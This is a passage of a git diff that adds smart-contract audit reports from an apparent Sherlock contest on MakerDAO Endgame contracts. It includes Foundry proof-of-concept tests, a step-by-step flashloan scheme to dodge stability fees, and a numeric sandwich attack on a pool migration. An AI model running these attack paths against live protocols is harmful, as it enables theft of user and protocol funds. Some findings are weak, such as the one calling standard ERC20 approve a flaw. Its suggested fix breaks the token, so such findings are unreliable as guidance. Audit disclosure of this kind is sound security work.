of their stake, leaving only a minimal amount. +5. The contract continues to calculate rewards based on the attacker's current (small) stake, but using the high rewardPerToken value that was inflated by their previously large stake. +6. Attacker repeats this process multiple times during the staking period. +7. At the end of the staking period, the attacker claims their disproportionately large rewards. + +### Impact + +This vulnerability leads to a significant loss of funds for honest users and undermines the integrity of the staking mechanism: + +Direct Loss of Rewards(Funds) for Honest Users: +Honest stakers receive fewer reward tokens(funds) than they should based on their stake and duration. +The difference between expected rewards in a fair system and actual received rewards represents a direct loss of funds for honest participants. +This loss is quantifiable in terms of the reward tokens not received that they should of received. + +Cumulative Financial Impact: +Over time, the loss for long-term stakers can be substantial. +The consistent underpayment of rewards compounds, resulting in significant financial losses for dedicated participants. + +Market Pressure: +If widely exploited, the vulnerability could lead to increased selling pressure on the reward token as exploiters claim and potentially sell their disproportionate rewards. +This could indirectly lead to a decrease in the reward token's value, further impacting honest users' returns. + +Undermining Token Supply Reduction: +The vulnerability negates the intended reduction of circulating supply. +Users can stake tokens, quickly withdraw and sell them, while still earning rewards. +This increases token velocity instead of reducing it, potentially leading to: +Higher price volatility contrary to the protocol's stability objectives +Increased selling pressure on the token - Increased selling pressure causes losses for the protocol, dev team, investors, and stakers. + + + +Reasoning for High Severity Rating: +1. Assuming a user stakes 10,000 MKR (worth $10 million at $1000/MKR) for a month, expecting 1% rewards (100 MKR or $100,000). Due to this vulnerability, if exploiters collectively manipulate the pool such that honest users only receive 50% of their expected rewards, this user would lose 50 MKR ($50,000), which is a 50% loss on their expected rewards and 0.5% of their total staked value. This loss significantly exceeds the 5% threshold for high severity. + +2. This vulnerability can be exploited continuously throughout the staking period. + +3. Given the assumed $250 million maximal locked MKR, if this vulnerability leads to a 10% reduction in staking participation due to lost trust and reduced rewards for honest participants, it would result in a $25 million loss in locked value for the protocol, far exceeding the 5% threshold for high severity. + +4. This vulnerability is inherent in the reward calculation mechanism and can be exploited under normal operating conditions, without requiring any specific external factors or unusual states. + +### PoC + +Add the following test functions to `StakingRewards.t.sol`, in the `StakingRewardsTest` contract: + +```javascript + function testPartialWithdrawalsAndRewardCalculations() public { + uint256 rewardAmount = 1000 * WAD; + uint256 stakingAmount = 100 * WAD; + uint256 duration = 7 days; + + initFarm(stakingAmount, rewardAmount, duration); + + // Skip half the duration + skip(duration / 2); + + // Calculate earned rewards + uint256 earnedBefore = rewards.earned(address(this)); + + // Withdraw half the staked amount + uint256 withdrawAmount = stakingAmount / 2; + rewards.withdraw(withdrawAmount); + + // Check balances + assertEq(gem.balanceOf(address(this)), withdrawAmount, "Should have withdrawn half of staked amount"); + assertEq( + rewards.balanceOf(address(this)), stakingAmount - withdrawAmount, "Should have half of staked amount left" + ); + + // Skip the rest of the duration + skip(duration / 2); + + // Calculate earned rewards after partial withdrawal + uint256 earnedAfter = rewards.earned(address(this)); + + // The earned amount after should be less than double the earned amount before, + // because we reduced our stake halfway through + assert(earnedAfter < earnedBefore * 2); + assert(earnedAfter > earnedBefore); + + // Withdraw remaining and claim rewards + rewards.exit(); + + // Check final balances + assertEq(gem.balanceOf(address(this)), stakingAmount, "Should have withdrawn all staked tokens"); + assertEq(rewardGem.balanceOf(address(this)), earnedAfter, "Should have claimed all rewards"); + } + + function testDetailedPartialWithdrawalsAndRewardCalculations() public { + uint256 rewardAmount = 1000 * WAD; + uint256 stakingAmount = 100 * WAD; + uint256 duration = 7 days; + + console.log("Initial setup:"); + console.log("Reward amount:", rewardAmount); + console.log("Staking amount:", stakingAmount); + console.log("Duration:", duration); + + initFarm(stakingAmount, rewardAmount, duration); + + console.log("After initFarm:"); + console.log("Total supply:", rewards.totalSupply()); + console.log("Reward rate:", rewards.rewardRate()); + + // Skip half the duration + skip(duration / 2); + + console.log("\nHalf duration passed:"); + console.log("Current timestamp:", block.timestamp); + console.log("Period finish:", rewards.periodFinish()); + + // Calculate earned rewards + uint256 earnedBefore = rewards.earned(address(this)); + console.log("Earned before withdrawal:", earnedBefore); + + // Withdraw half the staked amount + uint256 withdrawAmount = stakingAmount / 2; + rewards.withdraw(withdrawAmount); + + console.log("\nAfter partial withdrawal:"); + console.log("Withdrawn amount:", withdrawAmount); + console.log("Remaining stake:", rewards.balanceOf(address(this))); + console.log("Total supply:", rewards.totalSupply()); + + // Skip the rest of the duration + skip(duration / 2); + + console.log("\nEnd of duration:"); + console.log("Current timestamp:", block.timestamp); + console.log("Period finish:", rewards.periodFinish()); + + // Calculate earned rewards after partial withdrawal + uint256 earnedAfter = rewards.earned(address(this)); + console.log("Earned after full duration:", earnedAfter); + + console.log("\nComparison:"); + console.log("Earned before * 2:", earnedBefore * 2); + console.log("Earned after:", earnedAfter); + + // Instead of using assert, we'll use require with a detailed message + require( + earnedAfter < earnedBefore * 2, + string( + abi.encodePacked( + "Earned after (", + vm.toString(earnedAfter), + ") should be less than double earned before (", + vm.toString(earnedBefore * 2), + ")" + ) + ) + ); + + require( + earnedAfter > earnedBefore, + string( + abi.encodePacked( + "Earned after (", + vm.toString(earnedAfter), + ") should be greater than earned before (", + vm.toString(earnedBefore), + ")" + ) + ) + ); + + // Withdraw remaining and claim rewards + rewards.exit(); + + console.log("\nAfter exit:"); + console.log("Staking token balance:", gem.balanceOf(address(this))); + console.log("Reward token balance:", rewardGem.balanceOf(address(this))); + + assertEq(gem.balanceOf(address(this)), stakingAmount, "Should have withdrawn all staked tokens"); + assertEq(rewardGem.balanceOf(address(this)), earnedAfter, "Should have claimed all rewards"); + } + + function testRootCauseOfPartialWithdrawalVulnerability() public { + uint256 rewardAmount = 1000 * WAD; + uint256 stakingAmount = 100 * WAD; + uint256 duration = 7 days; + + // Setup two identical farms + StakingRewards rewardsA = new StakingRewards(address(this), address(this), address(rewardGem), address(gem)); + StakingRewards rewardsB = new StakingRewards(address(this), address(this), address(rewardGem), address(gem)); + + // Initialize both farms + rewardsA.setRewardsDuration(duration); + rewardsB.setRewardsDuration(duration); + + rewardGem.mint(rewardAmount * 2); + rewardGem.transfer(address(rewardsA), rewardAmount); + rewardsA.notifyRewardAmount(rewardAmount); + rewardGem.transfer(address(rewardsB), rewardAmount); + rewardsB.notifyRewardAmount(rewardAmount); + + gem.mint(stakingAmount * 2); + gem.approve(address(rewardsA), stakingAmount); + gem.approve(address(rewardsB), stakingAmount); + + rewardsA.stake(stakingAmount); + rewardsB.stake(stakingAmount); + + // Fast forward to mid-duration + vm.warp(block.timestamp + duration / 2); + + // For rewardsB, perform a partial withdrawal + rewardsB.withdraw(stakingAmount / 2); + + console.log("Mid-duration state:"); + console.log("rewardsA staked:", rewardsA.balanceOf(address(this))); + console.log("rewardsB staked:", rewardsB.balanceOf(address(this))); + console.log("rewardsA earned:", rewardsA.earned(address(this))); + console.log("rewardsB earned:", rewardsB.earned(address(this))); + + // Fast forward to end of duration + vm.warp(block.timestamp + duration / 2); + + console.log("\nEnd of duration state:"); + console.log("rewardsA staked:", rewardsA.balanceOf(address(this))); + console.log("rewardsB staked:", rewardsB.balanceOf(address(this))); + console.log("rewardsA earned:", rewardsA.earned(address(this))); + console.log("rewardsB earned:", rewardsB.earned(address(this))); + + // Both should claim their rewards + rewardsA.getReward(); + uint256 rewardsAClaimed = rewardGem.balanceOf(address(this)); + rewardGem.transfer(address(0x1), rewardsAClaimed); // Reset balance for next check + rewardsB.getReward(); + uint256 rewardsBClaimed = rewardGem.balanceOf(address(this)); + + console.log("\nAfter claiming rewards:"); + console.log("rewardsA claimed:", rewardsAClaimed); + console.log("rewardsB claimed:", rewardsBClaimed); + + // Assert that the rewards are incorrectly the same + assertEq( + rewardsAClaimed, rewardsBClaimed, "Rewards should be different but are the same, indicating a vulnerability" + ); + + // Assert that rewardsB (partial withdrawal) has earned more than it should have + require( + rewardsBClaimed > (rewardAmount * 3) / 4, + "Partial withdrawal farm earned less than expected, vulnerability not present" + ); + } + + function testMultiplePartialWithdrawals() public { + // Setup initial staking and rewards + uint256 initialStake = 100 * WAD; + uint256 rewardAmount = 1000 * WAD; + uint256 duration = 7 days; + initFarm(initialStake, rewardAmount, duration); + + // User A: No withdrawals + // User B: Multiple partial withdrawals + address userA = address(1); + address userB = address(2); + + // Stake for both users + vm.startPrank(userA); + setupStakingToken(initialStake); + rewards.stake(initialStake); + vm.stopPrank(); + + vm.startPrank(userB); + setupStakingToken(initialStake); + rewards.stake(initialStake); + vm.stopPrank(); + + // Perform multiple withdrawals for User B + uint256[] memory withdrawalTimes = new uint256[](3); + withdrawalTimes[0] = duration / 4; + withdrawalTimes[1] = duration / 2; + withdrawalTimes[2] = (3 * duration) / 4; + + for (uint256 i = 0; i < withdrawalTimes.length; i++) { + vm.warp(block.timestamp + withdrawalTimes[i]); + vm.prank(userB); + rewards.withdraw(initialStake / 10); // Withdraw 10% each time + } + + // Warp to end of duration + vm.warp(block.timestamp + duration); + + // Compare rewards + uint256 rewardsA = rewards.earned(userA); + uint256 rewardsB = rewards.earned(userB); + + console.log("User A rewards:", rewardsA); + console.log("User B rewards:", rewardsB); + + // User B should have earned significantly less than User A + assert(rewardsB < rewardsA); + // But in reality, they might be close or equal due to the vulnerability + } + + function testExtremeWithdrawal() public { + uint256 largeStake = 1000000 * WAD; + uint256 tinyStake = 1 * WAD; + uint256 rewardAmount = 1000 * WAD; + uint256 duration = 7 days; + + initFarm(largeStake + tinyStake, rewardAmount, duration); + + // User A: Stakes large amount and immediately withdraws most + address userA = address(1); + address userB = address(2); + + deal(address(gem), userA, largeStake); + deal(address(gem), userB, tinyStake); + + vm.startPrank(userA); + gem.approve(address(rewards), largeStake); + rewards.stake(largeStake); + rewards.withdraw(largeStake - tinyStake); + vm.stopPrank(); + + // User B: Stakes tiny amount + vm.startPrank(userB); + gem.approve(address(rewards), tinyStake); + rewards.stake(tinyStake); + vm.stopPrank(); + + // Warp to end of duration + vm.warp(block.timestamp + duration); + + uint256 rewardsA = rewards.earned(userA); + uint256 rewardsB = rewards.earned(userB); + + console.log("User A rewards (large stake, then withdraw):", rewardsA); + console.log("User B rewards (tiny stake):", rewardsB); + + // User A and B should have very similar rewards due to the vulnerability + assertApproxEqRel(rewardsA, rewardsB, 1e16); // 1% tolerance + } +``` + +Run these tests with the following: +`forge test --mt testPartialWithdrawalsAndRewardCalculations -vvv` +`forge test --mt testDetailedPartialWithdrawalsAndRewardCalculations -vvv` +`forge test --mt testRootCauseOfPartialWithdrawalVulnerability-vvv` +`forge test --mt testMultiplePartialWithdrawals -vvv` +`forge test --mt testExtremeWithdrawal -vvv` + +These tests reveal the following about the vulnerability: +`testPartialWithdrawalsAndRewardCalculations`: +This test failed with an assertion error, indicating that the earned rewards after a partial withdrawal were not less than double the rewards earned before the withdrawal, as expected. This suggests that the reward calculation is not correctly adjusting for partial withdrawals. + +`testDetailedPartialWithdrawalsAndRewardCalculations`: +This test provides more detailed logging, and it clearly shows the issue: +Before withdrawal (mid-duration), the earned amount was 499999999999999867200. +After the full duration, even with half the stake withdrawn, the earned amount was 999999999999999734400. +This is exactly double the mid-duration amount, despite having only half the stake for the second half of the duration. + +`testRootCauseOfPartialWithdrawalVulnerability`: +This test passes, but it demonstrates the vulnerability: +Two identical farms are set up, but one (rewardsB) has a partial withdrawal midway. +At the end of the duration, both farms show the same earned amount (999999999999999734400). +Both farms claim the same reward amount, despite rewardsB having half the stake for half the duration. + +`testMultiplePartialWithdrawals()`: This test passed, but it reveals the vulnerability. User B, who made multiple partial withdrawals, still earned 89.8% of what User A earned (who maintained their full stake). This is much higher than expected, given that User B had less stake for a significant portion of the time. It shows that the contract is not correctly adjusting rewards for partial withdrawals. + +`testExtremeWithdrawal()`: This test result clearly demonstrates the vulnerability in the `StakingRewards` contract: +User A initially staked a large amount and then immediately withdrew almost all of it, leaving only a tiny stake. +User B staked only a tiny amount for the entire duration. +Both users ended up with exactly the same rewards (999997000008999). + +The vulnerability lies in how the contract calculates rewards after partial withdrawals. It appears that when a user partially withdraws their stake, the contract does not properly adjust the reward calculation. As a result: +1. Users who partially withdraw continue to earn rewards as if they had their full stake for the entire duration. +2. This allows users to game the system by staking a large amount, waiting for some time, then withdrawing most of their stake while still earning rewards on the full amount. +3. The total rewards distributed could exceed the intended amount, unfairly distributing rewards, and greatly rewarding malicious users more than honest users. + +### Mitigation + +Implement one or more of the following: + +1. Implement Time-Weighted Staking: +Modify the reward calculation mechanism to use a time-weighted average of a user's stake. +Track each user's stake changes over time, storing timestamps and amounts for each stake and withdrawal action. +Update the earned() function to calculate rewards based on the time-weighted average stake rather than the current stake. + +2. Introduce Reward Vesting: +Implement a vesting period for rewards to discourage short-term staking behavior. +Rewards earned could be released linearly over a set period (e.g., 30 days) after they are accrued. +Early withdrawal of stakes could result in forfeiting unvested rewards or some type of penalty. + +3. Snapshots for Reward Calculations: +Implement a system of periodic snapshots of user stakes. +Calculate rewards based on these snapshots rather than instantaneous balances. +This approach can help mitigate the impact of rapid stake/unstake actions. + +4. Dynamic Reward Rate Adjustment: +Implement a mechanism that adjusts the reward rate based on the total staked amount and its stability over time. +This could help balance rewards when there are significant fluctuations in the staking pool. + +5. Incremental Reward Distribution: +Instead of accumulating rewards and allowing claims at any time, distribute rewards incrementally (e.g., daily or weekly). +This approach can help ensure that rewards more accurately reflect a user's stake over time. + +6. Two-Tiered Staking System: +Create two staking tiers: a flexible tier with lower rewards and a locked tier with higher rewards. +The locked tier would require tokens to be staked for a minimum period, enforcing long-term participation for maximum rewards. \ No newline at end of file diff --git a/054.md b/054.md new file mode 100644 index 0000000..9acecc3 --- /dev/null +++ b/054.md @@ -0,0 +1,31 @@ +Soft Turquoise Turtle + +Medium + +# StakingRewards.setRewardsDuration allows setting near zero or enormous rewardsDuration`, which breaks reward logic + +## Summary +rewardsDuration cab be set to zero and notifyRewardAmount will cease to produce meaningful results if rewardsDuration is too small or too big. +## Vulnerability Detail +The setter does not control the value, allowing zero/near zero/enormous duration: +function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner updateReward(address(0)) { + uint256 periodFinish_ = periodFinish; + if (block.timestamp < periodFinish_) { + uint256 leftover = (periodFinish_ - block.timestamp) * rewardRate; + rewardRate = leftover / _rewardsDuration; + periodFinish = block.timestamp + _rewardsDuration; + } + + rewardsDuration = _rewardsDuration; + emit RewardsDurationUpdated(rewardsDuration); + } +## Impact +notifyRewardAmount will fail if rewardsDuration is too small or too big. +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L172 +## Tool used + +Manual Review + +## Recommendation +Check for min and max range in the rewardsDuration setter, as too small or too big rewardsDuration breaks the logic. \ No newline at end of file diff --git a/059.md b/059.md new file mode 100644 index 0000000..fb30009 --- /dev/null +++ b/059.md @@ -0,0 +1,33 @@ +Soft Turquoise Turtle + +Medium + +# Max approvals to any address is possible + +## Summary +Approve function can be called by anyone to give max approval to +any address for any ERC20 token. Any ERC20 token left in the can be stolen +## Vulnerability Detail + function approve(address spender, uint256 value) external returns (bool) { + allowance[msg.sender][spender] = value; + + emit Approval(msg.sender, spender, value); + + return true; + } +## Impact +ERC20 token left in the can be stolen +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/ngt/src/Ngt.sol#L137C4-L143C6 +## Tool used + +Manual Review + +## Recommendation + function approve(address spender, uint256 value) external returns (bool) auth{ + allowance[msg.sender][spender] = value; + + emit Approval(msg.sender, spender, value); + + return true; + } \ No newline at end of file diff --git a/065.md b/065.md new file mode 100644 index 0000000..1e893d7 --- /dev/null +++ b/065.md @@ -0,0 +1,54 @@ +Clever Burgundy Iguana + +Medium + +# Lockstake vault can be approved to be managed by any manager, not just the owner + +### Summary + +Owner of Lockstake vault (Lockstake `urn`) can approve anyone to manage the vault on his behalf by calling `LockstateEngine.hope`. The issue is that this function can be called by any address already approved to manage the vault, not just the owner. This can cause the loss of all vault funds for the user if any approved manager turns malicious and approves the other malicious addresses, so that user is either unaware of this or simply can't do anything about it (see below for possible Attack Paths). + +### Root Cause + +User authorization for both normal and management functions are protected by the `urnAuth` modifier: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L132-L134 +which calls `_urnAuth` function: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L175-L177 +This function verifies that caller is either urn owner or urn manager. + +Usage of this function for both normal and management functions (`hope` and `nope`) means that any manager can approve or disapprove the other managers. + +### Internal pre-conditions + +User approves some address to manage his Lockstake vault, at some point of time this address turns malicious (EOA address stolen/hacked, smart contract manager is hacked etc) + +### External pre-conditions + +None + +### Attack Path + +There are multiple possible scenarios leading to loss of funds. For example: +1. User approves someone to manage his vault +2. After some time user withdraws his funds +3. Sometime after that the manager turns malicious and approves the other address(es) to manage this vault +4. User, being aware of malicious manager, revokes the managing rights (calling `nope`) +5. User deposits funds into his vault again +6. The other address approved by malicious manager steals all user vault by calling `free` + +Even if the user is aware that malicious manager can approve the other managers, it's still possible that he can't do anything about it, for example: +1. User approves some smart contract to manage his vault where the smart contract doesn't allow anyone other than user to withdraw funds. +2. The smart contract is hacked, but still doesn't allow hacker to withdraw funds +3. The hacked smart contract approves the other address, which then withdraws the funds + +### Impact + +Entire user's Lockstate vault is stolen. + +### PoC + +Not needed + +### Mitigation + +Consider only the vault owner to call `hope` and `nope` functions of `LockstateEngine`. \ No newline at end of file diff --git a/067.md b/067.md new file mode 100644 index 0000000..2fd97ad --- /dev/null +++ b/067.md @@ -0,0 +1,74 @@ +Curved Cinnamon Tuna + +High + +# Inconsistent Token Transfer Handling Leading to Potential Fund Loss + +## Summary +The `FlapperUniV2` uses the `GemLike.transfer` method to transfer tokens without verifying the return value. This can lead to undetected transfer failures, causing discrepancies in token balances and potential fund loss. + +## Vulnerability Detail +The `FlapperUniV2` interacts with ERC-20 tokens using the `GemLike.transfer` method. According to the ERC-20 standard, the `transfer` function should return a boolean value indicating the success of the operation. However, some tokens do not adhere to this standard and may not return any value or may return false upon failure. The current implementation does not check the return value of the transfer function, assuming it always succeeds. This can lead to scenarios where token transfers fail silently, causing the contract to behave incorrectly. +` GemLike(dai).transfer(address(pair), _sell);` +` GemLike(dai).transfer(address(pair), lot - _sell);` +` GemLike(gem).transfer(address(pair), _buy);` + +## Impact +- Silent Transfer Failures +- Potential Fund Loss +- Operational Disruption +- Security Risks + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/FlapperUniV2.sol#L141-L164 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/FlapperUniV2.sol#L152 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/FlapperUniV2.sol#L158 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/FlapperUniV2.sol#L159 + +## Tool used + +Manual Review + +## Recommendation +- Utilize a library like OpenZeppelin's `SafeERC20` to handle token transfers safely. This library includes checks for the return value and reverts the transaction if the transfer fails. +```solidity +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; + +contract FlapperUniV2 { + using SafeERC20 for IERC20; + + // Replace GemLike with IERC20 + IERC20 public dai; + IERC20 public gem; + + // Update transfer calls to use SafeERC20 + function exec(uint256 lot) external auth { + // ... other logic ... + + // Safe transfer + dai.safeTransfer(address(pair), _sell); + dai.safeTransfer(address(pair), lot - _sell); + gem.safeTransfer(address(pair), _buy); + + // ... other logic ... + } +} +``` +- If not using a library, manually check the return value of the transfer function to ensure it succeeded. +```solidity +function safeTransfer(GemLike token, address to, uint256 amount) internal { + bool success = token.transfer(to, amount); + require(success, "Token transfer failed"); +} + +function exec(uint256 lot) external auth { + // ... other logic ... + + // Safe transfer + safeTransfer(GemLike(dai), address(pair), _sell); + safeTransfer(GemLike(dai), address(pair), lot - _sell); + safeTransfer(GemLike(gem), address(pair), _buy); + + // ... other logic ... +} +``` \ No newline at end of file diff --git a/068.md b/068.md new file mode 100644 index 0000000..b1e972b --- /dev/null +++ b/068.md @@ -0,0 +1,66 @@ +Clever Burgundy Iguana + +Medium + +# User can bypass paying Lockstake borrow rate, effectively borrowing at 0 or small rate which is a loss of the protocol + +### Summary + +When user borrows NST from the Lockstake vault, he has to continously pay borrow fee at the rate set by the admin (protocol stability fee). The amount of NST owed by user should increase by this rate every second, which is technically done by increasing `rate` multiplier by calling `jug.drip`. Since `Lockstake` uses `vat` for borrowing, it inherits the known issue that `jug.drip` is not required to be called when repaying the debt, thus user will not pay any stability fee for the period from the last `jug.drip` transaction when repaying the debt. + +While this issue is known, the new Lockstake engine makes this issue more severe, because it now becomes profitable for the attacker due to availability of reward farms for the NGT locked in the Lockstake. See below for Attack Path. + +### Root Cause + +When borrowing from the Lockstake vault, the borrow `rate` is forced to be updated by calling `jug.drip`: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L382-L383 +However, when repaying, there is no such requirement, the last stored `rate` is used instead, which is outdated (smaller): +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L391-L394 +The `vat` downstream doesn't (and can't) require rate update as well: +https://github.com/makerdao/dss/blob/fa4f6630afb0624d04a003e920b0d71a00331d98/src/vat.sol#L143 + +This allows to borrow at the current rate, but repay at the old rate, effectively bypassing the stability fee. + +### Internal pre-conditions + +At least 1 farm with rewards available for Lockstake. Attacker has big amount of funds available (considerable percentage of all lockstake depositors, say 1%-10%) + +### External pre-conditions + +None + +### Attack Path + +Suppose 1 NGT = 1000 DAI, Lockstake vault LTV is 70%, borrow annual rate is 12%, farm available to Lockstake gives out rewards at about 10% annual rate. + +Loan preparation: +1. Attacker has 100K NGT +2. Flashloan 200M DAI +3. Swap 200M DAI into 200K NGT +4. Deposit 300K NGT into Lockstake +5. Choose a farm with 10% annual rate +6. Borrow 200M DAI (67% LTV) +7. Repay 200M DAI flashloan + +At this point attacker has 300K NGT Lockstake deposit with 200M DAI debt. This deposit generates $30M per year in rewards via the special farm available to Lockstake only. + +Attack every `N` blocks: +1. Flashloan 200M DAI +2. Repay vault debt in full +3. Call `jug.drip` +4. Borrow the same amount again +5. Repay flashloan + +This allows to avoid paying any borrow fee in most periods (when there are no `jug.drip` calls) while still earning full reward from the farm, at the cost of gas only. Since the attacker has $30M profit per year, this is $11 per ethereum block (12 seconds). If the average gas cost is less than $11 per transaction, attacker can do this every block. However, if we check the real usage of `jug.drip`, even for the most active pools it's called only a few times per hour, often a few times per day. So attacker can choose `N` to be around 10-100 for the best trade-off to still pay almost 0 fees, but reduce his gas costs. In such case attacker will still pay borrow fees for a small percentage of time periods when `jug.drip` is called by the other user, but this is likely to be less than 10% of the time, so the attacker will effectively pay 1.2% instead of 12% borrow rate. + +### Impact + +If the attacker has large amount of funds available and has large share of the Lockstake (say, 1%-10%), Protocol loses most stability fees from the attacker, which is up to 1%-10% of all stability fees from the Lockstake vault. Attacker avoids paying them while profiting from the farm (effectively getting about 25%-30% APR less gas fees instead of 10% APR in the example above). + +### PoC + +Not needed + +### Mitigation + +Consider fixing the `vat` to somehow require the borrow rate to be up-to-date when repaying, since the same attack is possible for all vaults, just has more incentive for attacker when doing it for the Lockstake vaults. \ No newline at end of file diff --git a/070.md b/070.md new file mode 100644 index 0000000..9c49f12 --- /dev/null +++ b/070.md @@ -0,0 +1,112 @@ +Clever Burgundy Iguana + +Medium + +# `UniV2PoolMigratorInit` can lose some funds during migration due to rounding error, up to 29% in the worst case + +### Summary + +`UniV2PoolMigratorInit` migrates uniswap v2 DAI/MKR pool shares held by pause proxy to a new Uniswap v2 NST/NGT pool. This is done simply by burning all shares pause proxy has, converting amounts burnt to NST/NGT and minting pool shares in a fresh NST/NGT pool. + +The issue is that the migrator transaction can be easily sandwitched by any user to manipulate the DAI/MKR pool and there is no check for such manipulation. Normally this should not be a problem, because the same amount should be burned and minted, thus the manipulated pool price doesn't matter. However, uniswap burn operation rounds down the funds sent to the shares holder, so there might be a small loss of 1 wei of either asset during the burn due to rounding error in favor of the pool. If the pool is manipulated such that there are only a few wei of either asset, then the loss of even 1 wei of assets for the burner will be significant as it will be relative to the amount of this assets he will receive. In the worst case (pool manipulated for the burner to receive 1 wei of asset instead of 2 wei), the loss is `1-1/sqrt(2) = 29%` + +### Simplified Example + +Here is the simplified example to demonstrate what can happen. Here in the example the numbers are intentionally small and we omit uniswap fees for simplicity. For real attack numbers with full math see POC. + +1. `DAI/MKR` pool has `2000 DAI / 2000 MKR` +2. Pause Proxy has 999 out of 1000 pool shares, meaning Pause Proxy has `1998 DAI / 1998 MKR` +3. Attacker sandwiches migrator transaction by first swapping in the pool: `+1998000 DAI, -1998 MKR` => new pool has `2000000 DAI / 2 MKR` +4. Attacker mints in the pool: `+2000000 DAI, +2 MKR` (receives 1000 pool shares) => new pool has `4000000 DAI / 4 MKR` +5. Migrator transaction executes, first burns 999 shares (out of 2000 pool shares) => receives `4000000 * 999 / 2000 = 1998000 DAI` and `4 * 999 / 2000 = round_down(1.998) = 1 MKR`. Pool now has `2002000 DAI / 3 MKR` and total of 1001 shares. +6. Migrator exchanges `1998000 DAI` into `1998000 NST`, `1 MKR` into `1 NGT` (assuming conversion rate = 1 for simplicity, any other conversion rate doesn't change anything) +7. Migrator mints new Uniswap v2 pool tokens: `+1998000 NST, +1 NGT`, receiving `1413` shares (ignore minimum pool liquidity shares for simplicity here as they will not be relevant in real math with larger numbers) +8. Attacker swaps: `+2448 MKR, -1999549 DAI` => pool has `2451 DAI / 2451 MKR` +9. Attacker burns `1000` shares, receiving back `2451 * 1000 / 1001 = 2448 DAI` and `2448 MKR` (pool has `3 DAI / 3 MKR`) +10. Attacker now gains the ability to exchange `DAI <-> NST` and `MKR <-> NGT` (since migrator transaction also opens up NST/NGT join contracts) +11. Attacker swaps in the new `NST/NGT` pool: `+1413 NGT, -1996586 NST` => pool has `1414 NST / 1414 NGT` + +Pause proxy had `1998 DAI + 1998 MKR` before the migration, but due to attack now has `1414 NST + 1414 NGT` (a loss of `29%` of funds). + +Attacker had the following tokens flow: +1. DAI: `-1998000 - 2000000 + 1999549 + 2448 + 1996586 = +583` +2. MKR: `+1998 - 2 - 2448 + 2448 - 1413 = +583` + +### PoC + +The simplified example above demonstrates vulnerability, however it doesn't account for the following real-life limitations: +- In order to manipulate the pool to a state where some asset is only a few wei, the attacker needs about `k = asset0 * asset1` of either asset amount, which might not be available +- Uniswap v2 pool assets are `uint112`, but `k` can be larger, thus it might be impossible to move pool to a state where some asset is just a few wei. +- Since the amounts to manipulate the pool to such state are huge, fees paid by attacker might be much higher than the profit or prevent attack altogether. + +Below is full math of the attack crafted with these considerations. We assume the following: +- All tokens are in WAD (18 decimals) +- Attacker can flash loan `400 million` of DAI for free (current DAI flash loan allows 500M amount) +- Pool fee is 0.3% (we use real uniswap v2 smart contract formulas to validate: after each swap `(assets0 * 1000 - amount0In * 3) * (assets1 * 1000 - amount1In * 3) >= prevAssets0 * prevAssets1 * 1000^2`) +- We take the maximum pool amounts which can be attacked under these assumptions: `k = 4e26` + +1. `DAI/MKR` pool has `2e13 DAI / 2e13 MKR` +2. Pause Proxy has `1445667567158614797133434` out of `1446043365914720423651566` pool shares, meaning Pause Proxy has 99.974% of all pool funds (real current pool amounts) +3. Attacker sandwiches migrator transaction by first swapping in the pool `200M DAI`: `+200599999999979940000000000 DAI, -19999999999998 MKR` => new pool has `200599999999999940000000000 DAI / 2 MKR` +4. Attacker mints in the pool with `200M DAI`: `+200599999999999940000000000 DAI, +2 MKR` (receives `1446043365914720423651566` pool shares) => new pool has `401199999999999880000000000 DAI / 4 MKR` +5. Migrator transaction executes, first burns `1445667567158614797133434` shares (out of `2892086731829440847303132` pool shares) => receives `401199999999999880000000000 * 1445667567158614797133434 / 2892086731829440847303132 = 200547867932420415930853443 DAI` and `4 * 1445667567158614797133434 / 2892086731829440847303132 = round_down(1.99948) = 1 MKR`. Pool now has `200652132067579464069146557 DAI / 3 MKR` and total of `1446419164670826050169698` shares. +6. Migrator exchanges `200547867932420415930853443 DAI` into `200547867932420415930853443 NST`, `1 MKR` into `24000 NGT` (assuming conversion rate = 24000 as mentioned by the sponsor) +7. Migrator mints new Uniswap v2 pool tokens: `+200547867932420415930853443 NST, +24000 NGT`, receiving `2193888974030751` shares (1000 shares minted to prevent first depositor attack, total pool shares = `2193888974031751`) +8. Attacker swaps: `+24608625574350 MKR, -200652132067554929269448928 DAI` => pool has `24534799697629 DAI / 24608625574353 MKR` +9. Attacker burns `1446043365914720423651566` shares, receiving back `24534799697629 * 1446043365914720423651566 / 1446419164670826050169698 = 24528425233412 DAI` and `24608625574353 * 1446043365914720423651566 / 1446419164670826050169698 = 24602231929200 MKR` (pool has `6374464217 DAI / 6393645153 MKR`) +10. Attacker now gains the ability to exchange `DAI <-> NST` and `MKR <-> NGT` (since migrator transaction also opens up NST/NGT join contracts) +11. Attacker swaps in the new `NST/NGT` pool: `+340898513935905660 NGT, -200547867932406254438420354 NST` => pool has `14161492433089 NST / 340898513935929660 NGT` + +Pause proxy had `1.999e13 DAI + 1.999e13 MKR` before the migration, but due to attack now has `1.416e13 NST + 34089 NGT (=1.420e13 MKR)` (a loss of `29%` of funds). + +Attacker had the following tokens flow: +1. DAI: `-200599999999979940000000000 - 200599999999999940000000000 + 200652132067554929269448928 + 24528425233412 + 200547867932406254438420354 = 0.5832133102694e13` +2. MKR: `+19999999999998 - 2 - 24608625574350 + 24602231929200 - 14204104747330 = +0.5789501607516e13` + +As can be seen from the example, the pool fees do not significantly impact the attack. However, the pool available amounts and available flash loan amount do affect it. The scenario shown is for max impact of the attack. Rough calculations show that this attack can still be performed on a smaller scale with about the following limitations: +- Migrator loss: 0.5% or more +- Pool `k <= 1e32` 